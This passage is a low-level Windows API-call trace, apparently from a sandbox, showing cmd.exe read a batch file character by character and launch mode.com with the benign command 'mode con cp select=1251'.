lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.063] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.063] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0265.063] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.063] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.063] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0265.063] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.063] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.063] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0265.063] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.063] GetFileType (hFile=0xe8) returned 0x3 [0265.063] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.063] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.063] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.063] GetFileType (hFile=0xf4) returned 0x3 [0265.063] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0265.063] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1af888, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af888*=0x18, lpOverlapped=0x0) returned 1 [0265.063] GetProcessHeap () returned 0x390000 [0265.063] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x4012) returned 0x3ab310 [0265.064] GetProcessHeap () returned 0x390000 [0265.064] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ab310 | out: hHeap=0x390000) returned 1 [0265.064] _wcsicmp (_String1="mode", _String2=")") returned 68 [0265.064] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0265.064] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0265.064] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0265.064] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0265.064] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0265.064] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0265.064] GetProcessHeap () returned 0x390000 [0265.064] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb0) returned 0x3a9840 [0265.064] GetProcessHeap () returned 0x390000 [0265.064] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x1a) returned 0x3a4630 [0265.065] GetProcessHeap () returned 0x390000 [0265.065] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x38) returned 0x3a6550 [0265.065] GetConsoleOutputCP () returned 0x1b5 [0265.226] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0265.226] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0265.226] GetConsoleTitleW (in: lpConsoleTitle=0x1af840, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0265.226] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0265.226] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0265.226] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0265.226] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0265.226] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0265.226] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0265.226] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0265.226] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0265.226] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0265.226] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0265.227] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0265.227] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0265.227] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0265.227] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0265.227] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0265.227] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0265.227] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0265.227] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0265.227] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0265.227] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0265.227] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0265.227] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0265.227] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0265.227] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0265.227] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0265.227] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0265.227] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0265.227] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0265.227] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0265.227] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0265.227] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0265.227] _wcsicmp (_String1="mode", _String2="START") returned -6 [0265.227] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0265.227] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0265.227] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0265.227] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0265.227] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0265.227] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0265.227] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0265.227] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0265.227] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0265.227] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0265.227] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0265.227] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0265.227] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0265.227] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0265.227] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0265.227] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0265.227] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0265.227] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0265.227] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0265.228] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0265.228] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0265.228] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0265.228] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0265.228] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0265.228] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0265.228] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0265.228] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0265.228] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0265.228] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0265.228] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0265.228] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0265.228] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0265.228] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0265.228] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0265.228] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0265.228] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0265.228] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0265.228] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0265.228] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0265.228] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0265.228] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0265.228] _wcsicmp (_String1="mode", _String2="START") returned -6 [0265.228] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0265.228] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0265.228] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0265.228] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0265.228] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0265.228] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0265.228] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0265.228] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0265.228] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0265.228] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0265.228] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0265.228] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0265.228] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x218) returned 0x3aaae0 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x42) returned 0x3a9900 [0265.229] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x420) returned 0x3ab310 [0265.229] SetErrorMode (uMode=0x0) returned 0x0 [0265.229] SetErrorMode (uMode=0x1) returned 0x0 [0265.229] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3ab320, lpFilePart=0x1af0d0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1af0d0*="system32") returned 0x13 [0265.229] SetErrorMode (uMode=0x0) returned 0x1 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3ab310, Size=0x42) returned 0x3ab310 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ab310) returned 0x42 [0265.229] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0265.229] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x104) returned 0x3a5bb0 [0265.229] GetProcessHeap () returned 0x390000 [0265.229] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x1f8) returned 0x3a9c60 [0265.234] GetProcessHeap () returned 0x390000 [0265.235] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a9c60, Size=0x106) returned 0x3a9c60 [0265.235] GetProcessHeap () returned 0x390000 [0265.235] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a9c60) returned 0x106 [0265.235] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0265.235] GetProcessHeap () returned 0x390000 [0265.235] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xe8) returned 0x3a9d80 [0265.235] GetProcessHeap () returned 0x390000 [0265.235] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a9d80, Size=0x7e) returned 0x3a9d80 [0265.235] GetProcessHeap () returned 0x390000 [0265.235] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a9d80) returned 0x7e [0265.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.236] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1aee40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aee40) returned 0x3a5cc0 [0265.236] GetProcessHeap () returned 0x390000 [0265.236] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x28) returned 0x3a4660 [0265.236] FindClose (in: hFindFile=0x3a5cc0 | out: hFindFile=0x3a5cc0) returned 1 [0265.236] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x1aee40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aee40) returned 0x3a5cc0 [0265.236] GetProcessHeap () returned 0x390000 [0265.236] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a4660, Size=0x8) returned 0x3a9950 [0265.236] FindClose (in: hFindFile=0x3a5cc0 | out: hFindFile=0x3a5cc0) returned 1 [0265.236] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0265.237] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0265.237] GetConsoleTitleW (in: lpConsoleTitle=0x1af390, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0265.237] GetProcessHeap () returned 0x390000 [0265.237] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x21c) returned 0x3ab370 [0265.237] GetConsoleTitleW (in: lpConsoleTitle=0x3ab380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0265.237] GetProcessHeap () returned 0x390000 [0265.237] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3ab370, Size=0x8a) returned 0x3ab370 [0265.237] GetProcessHeap () returned 0x390000 [0265.237] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ab370) returned 0x8a [0265.237] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0265.238] GetProcessHeap () returned 0x390000 [0265.238] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ab370 | out: hHeap=0x390000) returned 1 [0265.238] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af148, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af108 | out: lpAttributeList=0x1af148, lpSize=0x1af108) returned 1 [0265.238] UpdateProcThreadAttribute (in: lpAttributeList=0x1af148, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af0f8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af148, lpPreviousValue=0x0) returned 1 [0265.238] GetStartupInfoW (in: lpStartupInfo=0x1af260 | out: lpStartupInfo=0x1af260*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0265.238] GetProcessHeap () returned 0x390000 [0265.238] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x20) returned 0x3a4660 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0265.238] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0265.239] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0265.239] GetProcessHeap () returned 0x390000 [0265.239] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4660 | out: hHeap=0x390000) returned 1 [0265.239] GetProcessHeap () returned 0x390000 [0265.239] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x12) returned 0x3a8940 [0265.239] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1af180*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af130 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x1af130*(hProcess=0x54, hThread=0x50, dwProcessId=0x64c, dwThreadId=0x650)) returned 1 [0265.245] CloseHandle (hObject=0x50) returned 1 [0265.245] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0265.245] GetProcessHeap () returned 0x390000 [0265.245] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a8aa0 | out: hHeap=0x390000) returned 1 [0265.245] GetEnvironmentStringsW () returned 0x3a8aa0* [0265.245] GetProcessHeap () returned 0x390000 [0265.245] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xafc) returned 0x3ab370 [0265.245] FreeEnvironmentStringsW (penv=0x3a8aa0) returned 1 [0265.245] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x779f0000 [0265.245] GetProcAddress (hModule=0x779f0000, lpProcName="NtQueryInformationProcess") returned 0x77a414a0 [0265.245] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aea38, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aea38, ReturnLength=0x0) returned 0x0 [0265.245] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x1aea70, nSize=0x380, lpNumberOfBytesRead=0x1aea30 | out: lpBuffer=0x1aea70*, lpNumberOfBytesRead=0x1aea30*=0x380) returned 1 [0265.245] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0266.192] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af078 | out: 